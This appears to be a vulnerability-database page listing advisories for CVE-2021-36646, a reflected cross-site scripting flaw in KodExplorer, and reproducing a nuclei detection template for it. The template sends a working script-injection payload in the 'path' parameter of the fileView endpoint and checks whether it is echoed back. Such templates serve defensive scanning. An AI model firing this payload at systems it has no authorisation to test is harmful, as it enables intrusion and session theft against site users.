Lucene search
K

KodExplorer - Cross-Site Scripting

🗓️ 07 Jul 2026 16:50:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 18 Views

KodExplorer has a reflected cross-site scripting vulnerability allowing JavaScript injection via path input.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2021-36646
6 Sep 202317:15
attackerkb
Circl
CVE-2021-36646
6 Sep 202320:17
circl
CNNVD
KodExplorer 跨站脚本漏洞
6 Sep 202300:00
cnnvd
CNVD
KodExplorer cross-site scripting vulnerability (CNVD-2023-72248)
11 Sep 202300:00
cnvd
CVE
CVE-2021-36646
6 Sep 202300:00
cve
Cvelist
CVE-2021-36646
6 Sep 202300:00
cvelist
EUVD
EUVD-2021-23242
7 Oct 202500:30
euvd
NVD
CVE-2021-36646
6 Sep 202317:15
nvd
Prion
Cross site scripting
6 Sep 202317:15
prion
Positive Technologies
PT-2023-12295 · Unknown · Kodexplorer
6 Sep 202300:00
ptsecurity
Rows per page
id: CVE-2021-36646

info:
  name: KodExplorer - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    KodExplorer is susceptible to a reflected cross-site scripting (XSS) vulnerability in the file view functionality.The vulnerability exists in app/template/api/view.html where user-supplied input in the 'path' parameter is directly echoed without proper sanitization.This allows attackers to inject malicious JavaScript code that executes in the context of the user's browser.
  impact: |
    Attackers can inject malicious JavaScript via XSS in the path parameter, potentially stealing user session cookies or performing unauthorized actions.
  remediation: |
    Upgrade to the latest version of KodExplorer that addresses this vulnerability. Implement proper input validation and output encoding for user-supplied data.
  reference:
    - https://github.com/kalcaddle/KodExplorer/issues/482
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36646
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-36646
    cwe-id: CWE-79
    epss-score: 0.00705
    epss-percentile: 0.48855
  metadata:
    max-request: 2
    vendor: kalcaddle
    product: kod-explorer
    fofa-query: app="Powered-by-KodExplorer"
  tags: cve,cve2021,xss,kodexplorer,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "KodExplorer"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/index.php?explorer/fileView&path=</script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203484a67527b33823ab1cc0ed83fc86f7457812c37e40f494644ea23e4a2b25cc022100ca61ffe9bfec20bd8d543ce2cd4c2915af36f3bfc9cda80e4664f2a508b2dc24:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.16.1
EPSS0.00705
SSVC
18